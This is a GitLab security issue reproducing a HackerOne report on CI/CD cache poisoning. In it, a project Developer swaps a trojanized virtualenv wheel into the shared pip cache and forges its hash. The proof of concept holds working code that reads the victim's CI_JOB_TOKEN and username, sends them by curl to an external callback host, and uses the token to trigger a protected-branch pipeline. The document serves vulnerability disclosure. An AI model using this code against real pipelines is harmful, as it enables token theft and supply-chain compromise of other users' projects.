Malicious Developer can exfiltrate project Owner's CI_JOB_TOKEN via CI/CD Cache Poisoning in GitLab Pipelines

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2707421 by ninjafit on 2024-09-09, assigned to GitLab Team:

Report | Attachments | How To Reproduce

Report

Hello! As part of the 90-day challenge, my goal was to find a way to impersonate users in CI pipelines. In the process, I uncovered a critical vulnerability that allows an attacker to impersonate arbitrary users by poisoning the CI/CD cache. This vulnerability is exploited by injecting malicious code into the CI/CD cache, which is then stored and appears harmless to other users. When another user creates a new branch, commits code, or runs a pipeline as part of their normal workflow, the poisoned cache is utilized, causing the malicious code to execute under their identity within their pipeline.

This exploit capitalizes on the inherent trust placed in cache contents, which can be shared across unprotected branches. As a result, an attacker can hijack a user's pipeline without requiring them to knowingly execute malicious code. The impact of this vulnerability is significant: it allows an attacker to impersonate users, execute arbitrary code, and access sensitive information, including the CI_JOB_TOKEN, without any explicit consent or interaction from the victim beyond typical pipeline operations.

Moreover, the CI_JOB_TOKEN generated from an unprotected branch can be leveraged to trigger pipelines in protected branches. This suggests that the CI_JOB_TOKEN permission model requires stronger access controls based on the branch type it originates from, as current restrictions appear insufficient to prevent this abuse.

Steps to Reproduce

For simplicity, I will use pip for cache poisoning in this proof of concept (POC), based on the example YAML file provided in GitLab’s Cache Python Dependencies. I will not specify a key in the cache as this will use the default configuration but could still be reproducible if the key is unique as the attacker can easily find the cache key from looking at pipeline logs or the ci yaml itself.

Our original CI/CD config will be as follows:

default:  
  image: python:latest  
  cache:                      # Pip's cache doesn't store the python packages  
    paths:                    # https://pip.pypa.io/en/stable/topics/caching/  
      - .cache/pip  
  before_script:  
    - python -V               # Print out python version for debugging  
    - pip install virtualenv  
    - virtualenv venv  
    - source venv/bin/activate

variables:  # Change pip's cache directory to be inside the project directory since we can only cache local items.  
  PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip"

test:  
  script:  
    - python setup.py test  

We will set up a scenario with two users: an Owner (Target) and a Developer (Attacker).

Owner (Target) User:
  1. Log in or sign up as the Owner user.
  2. Import this project, which includes sample Python files with a basic cache configuration in CI: project_export.tar.gz.
  3. Add another user to the project and assign them the Developer role.
Developer (Attacker) User:
  1. Log in or sign up as the Developer user.
  2. Navigate to the project and create a new branch called maliciousBranch.
  3. Open the project in the Web IDE by navigating to the branch under Repository, then clicking Edit > Web IDE to access the Visual Studio Code interface.
  4. In the maliciousBranch, replace the setup.py file with the following malicious code:
import sys  
from setuptools import setup, find_packages

###  Default version  
version = "20.26.4"

###  Check if a version argument is provided  
if len(sys.argv) > 1 and sys.argv[1].startswith('--version='):  
    version = sys.argv[1].split('=')[1]  
    sys.argv.pop(1)  # Remove the version argument from sys.argv

setup(  
    name="virtualenv",    
    version=version,     
    description="Custom modified version of virtualenv",  
    long_description="Custom modified version of virtualenv",    
    author="NinjaFit",  
    author_email="ninjafit@wearehackerone.com",  
    packages=find_packages(),    
    entry_points={  
        'console_scripts': [  
            'virtualenv=virtualenv.__main__:main',   
        ],  
    },  
    classifiers=[  
        "Programming Language :: Python :: 3",  
        "License :: OSI Approved :: MIT License",   
        "Operating System :: OS Independent",  
    ],  
    python_requires='>=3.7',  
    install_requires=[  
        'platformdirs>=4.2.2',  
        'filelock>=3.15.4',  
        'distlib>=0.3.8',  
    ],  
)
  1. Create a new file called __main__.py and insert the following code (make sure to replace URL with your own exfil server)
import subprocess  
import os

def create_fake_file():  
    fake_file_path = "venv/bin/activate"  
    os.makedirs(os.path.dirname(fake_file_path), exist_ok=True)  
    with open(fake_file_path, "w") as f:  
        f.write("# Fake activate script\n")

def main(args=None, env=None):  
    # Create a fake file  
    create_fake_file()

    # Exfiltrate the token  
    user = os.getenv("GITLAB_USER_NAME")  
    ci_job_token = os.getenv("CI_JOB_TOKEN")  
    project_id = os.getenv("CI_PROJECT_ID")  
    url = "https://bo3fhegg5o2sjqcxh2spx8ij5ab1zstgi.oastify.com"  # MAKE SURE TO SET THIS VARIABLE TO YOUR OWN SERVER

    # Construct the curl command  
    curl_command = [  
        "curl",  
        "-X", "POST",  
        url + "/" + project_id,  
        "-H", f"Authorization: {user}:{ci_job_token}"  
    ]

    # Exfiltrate the token  
    subprocess.run(curl_command)

    # Trigger a pipeline in main branch  
    ref="main"  
    url = f"https://gitlab.com/api/v4/projects/{project_id}/trigger/pipeline?ref={ref}&token={ci_job_token}"  
    subprocess.run(["curl", "-X", "POST", url])

    print("\nPWNED BY NINJAFIT")  
    exit(0)

if __name__ == "__main__":  # pragma: no cov  
    main()  # pragma: no cov  
  1. Replace the .gitlab-ci.yml file with the following YAML configuration to ensure the poisoned cache is created:
default:  
  image: python:latest  
  cache:                      # Pip's cache doesn't store the python packages  
    paths:                    # https://pip.pypa.io/en/stable/topics/caching/  
      - .cache/pip  
  before_script:  
    - python -V               # Print out python version for debugging  
    - pip install setuptools  
    - pip install virtualenv

variables:  # Change pip's cache directory to be inside the project directory since we can only cache local items.  
  PIP_CACHE_DIR: "$CI_PROJECT_DIR/.cache/pip"

test:  
  script:  
    # Purge the cache to only cache the virtualenv package and install it  
    - pip cache purge         # We only want to cache the virtualenv package  
    - pip uninstall -y virtualenv   
    - pip install virtualenv  
    # Create the malicious package  
    - VIRTUALENV_PATH=$(pip show virtualenv | grep Location | awk '{print $2}')/virtualenv  
    - VIRTUALENV_VERSION=$(pip show virtualenv | grep Version | awk '{print $2}')  
    - cp __main__.py $VIRTUALENV_PATH/__main__.py  
    - mkdir packages  
    - cp -r $VIRTUALENV_PATH "./packages/virtualenv"  
    - cp setup.py "./packages/setup.py"  
    - cd ./packages  
    - python setup.py --version=$VIRTUALENV_VERSION bdist_wheel  
    - cd ./dist  
    # Get the malicious package name and sha256  
    - MALICIOUS_PACKAGE=$(ls)  
    - MALICIOUS_PACKAGE_PATH=$(pwd)/$MALICIOUS_PACKAGE  
    - MALICIOUS_SHA256=$(sha256sum $MALICIOUS_PACKAGE | awk '{print $1}')  
    # Find the cached virtualenv package (zip), get its sha256, and replace it with the malicious package  
    - cd $PIP_CACHE_DIR  
    - for file in $(find . -name "*.body"); do  
        if file "$file" | grep -q "Zip archive data"; then  
          LEGITIMATE_SHA256=$(sha256sum "$file" | awk '{print $1}');  
          cp "$MALICIOUS_PACKAGE_PATH" "$file";  
          break;  
        fi;  
      done  
    # Process gzip files and replace the sha256 of the legitimate package with the malicious package  
    - for file in $(find . -name "*.body"); do  
        if file "$file" | grep -q "gzip compressed data"; then  
          mv "$file" "$file.gz";  
          gunzip "$file.gz";  
          sed -i "s/$LEGITIMATE_SHA256/$MALICIOUS_SHA256/g" "$file";  
          gzip "$file";  
          mv "$file.gz" "$file";  
        fi;  
      done  
    # Test the malicious package  
    - pip uninstall -y virtualenv  
    - pip install virtualenv  
    - pip show virtualenv  
  1. Commit the changes to the maliciousBranch.

After committing the changes, navigate to the pipeline created by the commit. You’ll observe the following steps:

  • We first purge the existing cache to ensure a clean start.
  • We install virtualenv, allowing its packages to be cached under the http-v2 directory.
  • We modify the package by replacing its __main__.py with our malicious code, then recompile it into a wheel file using setup.py.
  • Next, we swap the cached package with our newly injected malicious version.
  • To ensure pip trusts the injected package, we replace the legitimate package's sha256 hash with the hash of our malicious one.
  • Finally, the pipeline saves the poisoned package into the CI/CD cache, making it available for future use.

As a test this works, pip show virtualenv will reveal my alias NinjaFit as the author instead of the original owners.

image.png

Now, the attacker simply waits for any arbitrary user to:

  • Create a new branch (which automatically triggers a pipeline run).
  • Commit code to an unprotected branch (which also auto-triggers a pipeline).
  • Manually run a pipeline on an unprotected branch.

Owner (Target) User

  1. Log back in as the Owner user.
  2. Create a new branch called featureBranch.
  3. A pipeline will automatically trigger upon branch creation.

When the pipeline runs, you will observe that instead of the legitimate virtualenv environment running, the malicious code will exfiltrate the CI_JOB_TOKEN and will trigger a pipeline run on the main branch, effectively demonstrating the impersonation and arbitrary code execution.

image.png

Video POC

cicdcachepoisoning.mp4

Output of checks

This bug happens on GitLab.com

Log Output

Here are the logs for both the cache poison and the target user's pipeline run installing the malicious package:
attacker_pipeline_logs.txt
target_pipeline_logs.txt

Impact

The impact on users from this vulnerability is significant:

  1. User Impersonation: Attackers can impersonate any user in the project by executing malicious code in the context of their pipeline, without the user’s knowledge or direct interaction.
  2. Arbitrary Code Execution: The poisoned CI/CD cache allows attackers to inject and execute arbitrary code in any unprotected pipeline triggered by affected users, leading to potential pipeline compromise.
  3. Sensitive Data Exposure: Attackers can exfiltrate sensitive pipeline information, such as the CI_JOB_TOKEN, which can be used to trigger further pipelines or access protected resources such as other projects.
  4. Pipeline Hijacking: The vulnerability allows attackers to misuse the CI_JOB_TOKEN to trigger pipeline runs on protected branches, bypassing branch protections and potentially compromising the integrity of secure environments.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section: